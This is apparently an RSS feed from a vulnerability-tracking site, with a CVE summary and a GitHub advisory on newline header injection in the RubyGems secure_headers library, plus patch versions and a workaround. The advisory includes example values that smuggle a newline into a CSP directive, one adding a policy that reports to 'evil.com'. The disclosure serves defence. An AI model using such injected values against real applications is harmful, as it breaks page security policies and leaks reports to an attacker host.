<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Tue, 06 Oct 2026 08:12:37 +0000</lastBuildDate>
    <item>
      <title>CVE-2020-5216 — Limited header injection when using dynamic overrides with user input in RubyGems secure_headers</title>
      <link>https://cve.radiocsirt.org/vuln/cve-2020-5216</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Twitter secure_headers&lt;/p&gt;
&lt;p&gt;In Secure Headers (RubyGem secure_headers), a directive injection vulnerability is present in versions before 3.9.0, 5.2.0, and 6.3.0. If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection. Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline. This has been fixed in 6.3.0, 5.2.0, and 3.9.0.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Twitter secure_headers&lt;/p&gt;
&lt;p&gt;In Secure Headers (RubyGem secure_headers), a directive injection vulnerability is present in versions before 3.9.0, 5.2.0, and 6.3.0. If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection. Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline. This has been fixed in 6.3.0, 5.2.0, and 3.9.0.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/cve-2020-5216</guid>
    </item>
    <item>
      <title>GHSA-w978-rmpf-qmwg — Limited header injection when using dynamic overrides with user input in RubyGems secure_headers</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-w978-rmpf-qmwg</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; RubyGems: secure_headers&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.&lt;/p&gt;
&lt;p&gt;Upon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline.&lt;/p&gt;
&lt;p&gt;e.g.&lt;/p&gt;
&lt;p&gt;```ruby
override_content_security_directives(script_src: [&amp;#39;mycdn.com&amp;#39;, &amp;#34;\ninjected\n&amp;#34;])` 
```&lt;/p&gt;
&lt;p&gt;would result in&lt;/p&gt;
&lt;p&gt;```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header
```&lt;/p&gt;
&lt;p&gt;CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:&lt;/p&gt;
&lt;p&gt;```ruby
override_content_security_directives(script_src: [&amp;#34;mycdn.com&amp;#34;, &amp;#34;\ndefault-src &amp;#39;none&amp;#39;; report-uri evil.com&amp;#34;]) 
```
```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src &amp;#39;none&amp;#39;; report-uri evil.com
Content-Security-Policy: rest-of-the-header
```&lt;/p&gt;
&lt;p&gt;### Patches&lt;/p&gt;
&lt;p&gt;This has been fixed in 6.3.0, 5.2.0, and 3.9.0&lt;/p&gt;
&lt;p&gt;### Workarounds&lt;/p&gt;
&lt;p&gt;```ruby
override_content_security_policy_directives(:frame_src, [user_input.gsub(&amp;#34;\n&amp;#34;, &amp;#34; &amp;#34;)])
```&lt;/p&gt;
&lt;p&gt;### References&lt;/p&gt;
&lt;p&gt;https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c
[The effect of multiple policies](https://www.w3.org/TR/CSP3/#multiple-policies)&lt;/p&gt;
&lt;p&gt;### For more information&lt;/p&gt;
&lt;p&gt;If you have any questions or…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; RubyGems: secure_headers&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.&lt;/p&gt;
&lt;p&gt;Upon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline.&lt;/p&gt;
&lt;p&gt;e.g.&lt;/p&gt;
&lt;p&gt;```ruby
override_content_security_directives(script_src: [&amp;#39;mycdn.com&amp;#39;, &amp;#34;\ninjected\n&amp;#34;])` 
```&lt;/p&gt;
&lt;p&gt;would result in&lt;/p&gt;
&lt;p&gt;```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header
```&lt;/p&gt;
&lt;p&gt;CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:&lt;/p&gt;
&lt;p&gt;```ruby
override_content_security_directives(script_src: [&amp;#34;mycdn.com&amp;#34;, &amp;#34;\ndefault-src &amp;#39;none&amp;#39;; report-uri evil.com&amp;#34;]) 
```
```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src &amp;#39;none&amp;#39;; report-uri evil.com
Content-Security-Policy: rest-of-the-header
```&lt;/p&gt;
&lt;p&gt;### Patches&lt;/p&gt;
&lt;p&gt;This has been fixed in 6.3.0, 5.2.0, and 3.9.0&lt;/p&gt;
&lt;p&gt;### Workarounds&lt;/p&gt;
&lt;p&gt;```ruby
override_content_security_policy_directives(:frame_src, [user_input.gsub(&amp;#34;\n&amp;#34;, &amp;#34; &amp;#34;)])
```&lt;/p&gt;
&lt;p&gt;### References&lt;/p&gt;
&lt;p&gt;https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c
[The effect of multiple policies](https://www.w3.org/TR/CSP3/#multiple-policies)&lt;/p&gt;
&lt;p&gt;### For more information&lt;/p&gt;
&lt;p&gt;If you have any questions or…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-w978-rmpf-qmwg</guid>
    </item>
  </channel>
</rss>
